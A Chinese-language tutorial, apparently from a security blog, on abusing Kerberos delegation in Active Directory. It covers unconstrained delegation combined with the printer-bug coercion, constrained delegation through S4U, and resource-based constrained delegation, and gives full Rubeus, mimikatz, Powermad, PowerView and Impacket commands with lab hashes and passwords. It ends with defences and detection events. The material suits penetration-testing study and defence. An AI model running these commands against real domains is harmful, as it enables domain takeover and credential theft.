域委派利用

#前言

前面文章Kerberos认证与委派总结了非约束委派、约束委派、基于资源的约束委派的概念和通信过程。下面说说这三种委派的利用方法。

#非约束委派

Microsoft在Windows 2000中实现了Kerberos不受约束的委托。域控主机账户默认开启非约束委派。

如果服务(JACKSON-PC$) 被配置了非约束的委派，那么JACKSON-PC$可以接受任何用户的委派的去请求其他所有服务。配置了非约束委派的账户的userAccountControl属性有TRUSTED_FOR_DELEGATIONFLAG位（对应十进制524288）。

利用步骤

寻找配置了非约束的委派的账户并获得该账户权限。
诱导域管或其他账户访问配置了非约束委派的服务（域管账户会将自己TGT发送到JACKSON-PC$并缓存到JACKSON-PC$的LSASS中，然后就可以从LSASS中导出域管的TGT票据）
导出票据进行PTT。

非约束性委派配合 Spooler打印机服务

纯非约束性委派攻击必须要其他用户主动访问配置了非约束委派的服务。但利用Windows打印系统远程协议MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)强制任何运行了Spooler服务的计算机对指定的主机发起Kerberos或NTLM认证请求。

SpoolSample

1
2
3
4


#WIN7使用Rubeus开启监听来自其他主机的TGT
Rubeus.exe monitor /interval:1 /filteruser:xx
#SpoolSample让指定机器访问WIN7进行身份验证
SpoolSample.exe dc win7

#约束委派

微软在Windows 2003上发布了约束委派。其中包括一组Kerberos协议扩展（S4U2Self和S4U2Proxy）。需要SeEnableDelegation特权才能配置约束和非约束委派。

计算机用户(JACKSON-PC$) 被配置了约束委派，那么JACKSON-PC$可以接受任何用户的委派的去请求特定的服务。配置了约束委派用户的userAccountControl 属性有TRUSTED_TO_AUTH_FOR_DELEGATIONFLAG位（对应十进制16777216）以及msDS-AllowedToDelegateTo属性存储对哪个SPN进行委派。

完整请求流程

服务1使用自己的hash向KDC申请一个TGT票据，注意在KDC Option里面选择FORWARDABLE标志位，这样的话请求的TGT票据就是可转发的TGT票据。
服务1代表用户申请一个获得针对服务1自身的kerberos服务票据(S4U2SELF)，这一步生成的TGS票据是可转发的TGS票据。
服务1使用来自用户的授权( 在S4U2SELF阶段获得的可转发的TGS)，然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的TGS，返回的TGS是可转发的。

如果获得来配置了约束委派的服务账号权限。就可以利用这个服务账号代表任意用户访问另外一个服务。（这里服务不需要用户的凭据）相较于非约束的委派，约束的委派并不需要用户主动访问就可以代表该用户，但只能访问特定的服务。

可利用的委派服务:

对于 HOST SPN，则可以实现完全的远程接管。

对于 MSSQLSvc SPN，则可以拿到 DBA 权限。

对于 CIFS SPN 则可以实现完全的远程文件访问。

对于 HTTP SPN 则可能实现接管远程网络服务。

对于 LDAP 则可以执行 DCSync。

对于 HTTP 或 SQL 服务帐户，即使它们没有提升目标服务器上的管理员权限，也可能使用 Rotten Potato 进一步滥用，提权至 SYSTEM 的权限。

Tips: 在测试约束委派的时候，必须将委派设置为使用任何身份验证协议。否则会报错： KRB-ERROR (13) : KDC_ERR_BADOPTION

解释一下为什么必须选"使用任何身份验证协议"：

选择"仅信任此用户作为指定服务的委派"，即选择constrained delegation权限(S4U2Proxy)。

该选项下的"使用任何身份验证协议"则是protocol transition权限(S4U2self)。

1
2


#查询useraccountcontrol属性，如果选择了"使用任何身份验证协议",则该属性才有TRUSTED_TO_AUTH_FOR_DELEGATION字段
Get-DomainObject PC-JACK-0DAY -Properties distinguishedname,useraccountcontrol,serviceprincipalname,msds-allowedtodelegateto |fl

#keko

环境：PC-JACK-0DAY$账户配置了到owa2010sp3的cifs服务约束委派。

1
2
3
4
5
6


#请求PC-JACK-0DAY$的TGT
tgt::ask /user:PC-JACK-0DAY$ /domain:0day.org /NTLM:35c7a1ec7ab4df8d073abe65e5375f3a
#获取访问目标的TGS （S4U2Self和S4U2Proxy过程的结合）
tgs::s4u /tgt:TGT_PC-JACK-0DAY$@0DAY.ORG_krbtgt~0day.org@0DAY.ORG.kirbi /user:administrator@0day.org /service:cifs/OWA2010SP3
#PTT
kerberos::ptt TGS_administrator@0day.org@0DAY.ORG_cifs~OWA2010SP3@0DAY.ORG.kirbi

如果不知道服务用户的明文和NTLM Hash，但是有服务用户登陆的主机权限，可以从内存中把服务用户的TGT票据 dump出来

1
2
3
4


#导出TGT
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
#直接tgs::s4u，再导入到内存中
tgs::s4u /tgt:[0;3e7]-2-1-40e00000-PC-JACK-0DAY$@krbtgt-0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org

#rubeus

1

Rubeus.exe s4u /user:PC-JACK-0DAY$ /rc4:35c7a1ec7ab4df8d073abe65e5375f3a /impersonateuser:administrator /msdsspn:cifs/OWA2010SP3 /ptt

#基于资源的约束委派

基于资源的约束委派只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置，但可以在混合模式林中应用。

基于资源的约束委派与传统约束委派非常相似但配置相反。服务1到服务2的约束委派在服务1账户的msDS-AllowedToDelegateTo属性中配置，定义从服务1到服务2的"传出"信任。而基于资源的约束委派是在服务2的msDS-AllowedToActOnBehalfOfOtherIdentity属性中配置，定义从服务1到服务2的"传入"信任。所以只要拥有服务2的权限就可以配置服务2的基于资源的约束委派。

完整请求流程

服务1使用自己的Hash向KDC申请一个TGT票据（可转发的）。
服务1代表用户申请一个获得针对服务1自身的kerberos服务票据(S4U2SELF过程，返回的票据是不可转发的）这个过程设置Resource-Based Constrained Delegation(RBCD)标志位。
服务1可以使用来自用户的授权( 在S4U2SELF阶段获得的不可转发的TGS)，然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的可转发的TGS。

利用步骤

拥有一个任意的服务账户1或者计算机账户1
获得了服务账户2的LDAP权限（即有修改服务账户2属性的权限）
配置服务1对服务2的约束委派，在服务账户2的用户属性上配置 msDS-AllowedToActOnBehalfOfOtherIdentity 为服务账户1的SID
发起一个从服务1到服务2的正常的约束委派的流程访问服务2

#利用过程

利用前提： 具有修改机器用户（服务账户）的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。

当计算机PC-JACK-0DAY通过域用户[email protected]加入域时，域内会创建PC-JACK-0DAY的机器账户，而创建者就是[email protected]，所以该域用户具有对PC-JACK-0DAY对象的WriteProperty权限。
其次就是PC-JACK-0DAY这个机器账户对自身有修改权限。

Tips： 如果对对象有GenericAll（完全控制权）、GenericWrite、WriteProperty、WriteDacl权限，那么就能够修改对象的属性。

环境: 拥有一个域账号jerry并对机器账户PC-JACK-0DAY$属性有可修改权限。

目的: 获取机器PC-JACK-0DAY的权限。

创建机器账号（因为S4U2Self只适用于具有SPN的账户）Powermad

1
2
3


#利用MachineAccountQuota创建新的计算机帐户（新的计算机帐户默认注册RestrictedKrbHost/domain和 HOST/domain这两个SPN）。
#添加一个密码qweasd.123,用户名为matty的机器账户
New-MachineAccount -MachineAccount matty -Password $(ConvertTo-SecureString "qweasd.123" -AsPlainText -Force)

配置matty机器账户到PC-JACK-0DAY的委派

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


#查看jerry用户对PC-JACK-0DAY对象的权限（如果没有权限，什么都不会返回）
Get-DomainObjectAcl -Identity PC-JACK-0DAY | ?{$_.SecurityIdentifier -match "S-1-5-21-1812960810-2335050734-3517558805-1128"}

#获取matty的SID
Get-DomainComputer -Identity matty -Properties objectsid
#sid是matty的
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1812960810-2335050734-3517558805-1181)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#添加PC-JACK-0DAY$属性msDS-AllowedToActOnBehalfOfOtherIdentity，并设置matty到PC-JACK-0DAY的委派
Set-DomainObject PC-JACK-0DAY -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#查看是否成功添加
Get-DomainComputer PC-JACK-0DAY -Properties msds-allowedtoactonbehalfofotheridentity
#清除msds-allowedtoactonbehalfofotheridentity属性的值
Set-DomainObject PC-JACK-0DAY -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

#方法二 使用[Microsoft.ActiveDirectory.Management.dll](<https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll>)
Set-ADComputer PC-JACK-0DAY -PrincipalsAllowedToDelegateToAccount matty$
Get-ADComputer PC-JACK-0DAY -Properties PrincipalsAllowedToDelegateToAccount

发起约束委派请求

1
2
3
4
5
6
7
8
9


#获取matty$用户的hash（知道密码可以本地生成）
Rubeus.exe hash /user:matty /password:qweasd.123 /domain:0day.org

#请求PC-JACK-0DAY机器的cifs票据
#Rubeus 
Rubeus.exe s4u /user:matty$ /rc4:754234C8F5BF1F736099B0BEED55B052 /impersonateuser:administrator /msdsspn:cifs/PC-JACK-0DAY.0day.org /ptt
#Impacket
python3 getST.py -dc-ip 192.168.1.10 -spn cifs/PC-JACK-0DAY.0day.org -impersonate administrator 0day.org/matty$:qweasd.123
#然后可以利用psexec横向（Windows上还需要申请HOST票据才能利用psexec，impacket不用）

#防御与检测

Windows 2012 R2及更高的系统建立了受保护的用户组，组内用户不允许被委派并且当这个组内的用户登录时，不能使用NTLM认证。如果设置高权限用户设置不能被委派或者加入保护组，那么发起Kerberos请求时只能进行S4U2SELF，不能进行S4U2PROXY。
Kerberos预认证时不使用DES或者RC4等加密算法。微软从2008和Vista开始添加了Kerberos AES（128和256）加密，在Windows操作系统中大多数的Kerberos请求将使用AES进行加密，任何一个使用Kerberos RC4加密请求的票证都是异常情况。
通过域的组策略强制设置主机账号的最长有效期为 30 天。
5136日志记录对安全描述符的修改，4672日志显示该用户已有新特权。

域委派利用

相关文章：